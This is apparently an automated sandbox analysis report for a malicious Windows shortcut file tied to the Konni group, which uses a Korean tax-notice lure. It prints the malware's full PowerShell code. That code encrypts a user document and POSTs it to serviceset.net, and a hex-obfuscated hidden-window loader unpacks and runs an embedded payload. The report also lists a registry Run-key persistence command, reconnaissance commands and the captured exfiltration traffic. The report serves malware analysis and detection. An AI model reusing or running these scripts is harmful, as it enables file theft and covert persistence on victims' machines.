cmdline	powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdocu.txt';$fp='C:\Users\Public\Documents\cuserdocu.txt';$dt=gc -Path $fp -Raw \| Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Sept. 4, 2023, 10:57 a.m.	thread_identifier: 2780 thread_handle: 0x00000088 process_identifier: 2776 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1	0
CreateProcessInternalW Sept. 4, 2023, 10:57 a.m.	thread_identifier: 2940 thread_handle: 0x00000088 process_identifier: 2936 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 4, 2023, 10:58 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (5 events)

Data received	HTTP/1.1 100 Continue
Data received	HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 01:58:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Data received	HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 01:58:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Data received	HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 01:59:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Data received	HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 01:59:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Poweshell is sending data to a remote host (7 events)

Data sent	POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 68 Expect: 100-continue Connection: Keep-Alive
Data sent	fn=rbaKJwAL%2bLO%2fAHjV7xwXlt1vwyV3%2bYY%3d&fd=&r=638294231148750000
Data sent	fn=%2fCs%2b63vf9HGj%2f6wTB6QhuuLgALVmBxQ%3d&fd=&r=638294231218750000
Data sent	POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 62 Expect: 100-continue Connection: Keep-Alive
Data sent	fn=wOlUQRZ5RzqozD6EC4SX0hrO6Lv3gv0%3d&fd=&r=638294231417656250
Data sent	POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 64 Expect: 100-continue Connection: Keep-Alive
Data sent	fn=Vw%2bynNwycLAyRIf9GxYOk6DVWPUjJSc%3d&fd=&r=638294231520937500

Checks for the Locally Unique Identifier on the system for a suspicious privilege (11 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Sept. 4, 2023, 10:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:58 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:59 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 4, 2023, 10:59 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	nslookup myip.opendns.com resolver1.opendns.com
cmdline	tasklist
cmdline	systeminfo
cmdline	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f

Installs itself for autorun at Windows startup (2 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svchostno2				reg_value	C:\Users\Public\Documents\start.vbs
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svchostno2				reg_value	C:\Users\Public\Documents\start.vbs

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\Konni_종합소득세 해명자료 제출 안내.lnk

A potential heapspray has been detected. 96 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

1542

name

heapspray

process

powershell.exe

total_mb

length

65536

protection

PAGE_READWRITE

File has been identified by 10 AntiVirus engines on VirusTotal as malicious (10 events)

Sangfor	Trojan.Generic-LNK.Save.e2d78363
Symantec	CL.Downloader!gen20
Kaspersky	HEUR:Trojan.Multi.Powesta.g
Emsisoft	Trojan.PowerShell.Gen (A)
Sophos	Mal/PowLnkObf-A
SentinelOne	Static AI - Suspicious LNK
Gridinsoft	Susp.Obfuscted_PowerShell_Code.C.sd!yf
ZoneAlarm	HEUR:Trojan.Multi.Powesta.g
Google	Detected
VBA32	Trojan.Link.Crafted

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (8 events)

Time & API	Arguments	Status	Return
send Sept. 4, 2023, 10:58 a.m.	buffer: POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 68 Expect: 100-continue Connection: Keep-Alive socket: 1304 sent: 166	1	166
send Sept. 4, 2023, 10:58 a.m.	buffer: fn=rbaKJwAL%2bLO%2fAHjV7xwXlt1vwyV3%2bYY%3d&fd=&r=638294231148750000 socket: 1304 sent: 68	1	68
send Sept. 4, 2023, 10:58 a.m.	buffer: POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 68 Expect: 100-continue Connection: Keep-Alive socket: 1304 sent: 166	1	166
send Sept. 4, 2023, 10:58 a.m.	buffer: fn=%2fCs%2b63vf9HGj%2f6wTB6QhuuLgALVmBxQ%3d&fd=&r=638294231218750000 socket: 1304 sent: 68	1	68
send Sept. 4, 2023, 10:59 a.m.	buffer: POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 62 Expect: 100-continue Connection: Keep-Alive socket: 1304 sent: 166	1	166
send Sept. 4, 2023, 10:59 a.m.	buffer: fn=wOlUQRZ5RzqozD6EC4SX0hrO6Lv3gv0%3d&fd=&r=638294231417656250 socket: 1304 sent: 62	1	62
send Sept. 4, 2023, 10:59 a.m.	buffer: POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: serviceset.net Content-Length: 64 Expect: 100-continue Connection: Keep-Alive socket: 1308 sent: 166	1	166
send Sept. 4, 2023, 10:59 a.m.	buffer: fn=Vw%2bynNwycLAyRIf9GxYOk6DVWPUjJSc%3d&fd=&r=638294231520937500 socket: 1308 sent: 64	1	64

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Local\Temp\Konni_종합소득세 해명자료 제출 안내
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe" /c kLAimNRUoEGuatlUuOKkLLLwVCMvhezlxBGZbIyumICTZzlcbtwSXzTaUTdtXdrCkKpsDzfNVgPktpqbuxogRqLFconpPdMhSkUTqokuzEMGupdlsPXOzXXRDMCoYSeMmfhGAcsodnWboJlPsrwN\|\|goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2568 resumed a thread in remote process 2680
NtResumeThread Sept. 4, 2023, 10:57 a.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2680	1	0	0

Creates and runs a batch file to remove the original binary (2 events)

file	e4aed7f82f6f7ca0_03909174.bat
file	2b57c326086e224d_69506645.bat

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

Uses WMI to create a new process (1 event)

Time & API	Arguments	Status	Return	Repeated
IWbemServices_ExecMethod Sept. 4, 2023, 10:57 a.m.	inargs.CurrentDirectory: None inargs.CommandLine: C:\Users\Public\documents\03909174.bat inargs.ProcessStartupInformation: {u'ShowWindow': 0, u'FillAttribute': None, u'XSize': None, u'XCountChars': None, u'ErrorMode': 0, u'YSize': None, u'EnvironmentVariables': None, u'Y': None, u'YCountChars': None, u'CreateFlags': None, u'WinstationDesktop': None, u'Title': None, u'X': None, u'PriorityClass': None} outargs.ProcessId: 2068 outargs.ReturnValue: 0 flags: 0 method: Create class: Win32_Process	1	0	0

The processes powershell.exe, wscript.exe wrote an executable file to disk which it then attempted to execute (23 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\cmd.exe
file	C:\Users\Public\Documents\unzip.exe
file	C:\Windows\SysWOW64\wscript.exe

Konni_종합소득세 해명자료 제출 안내.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All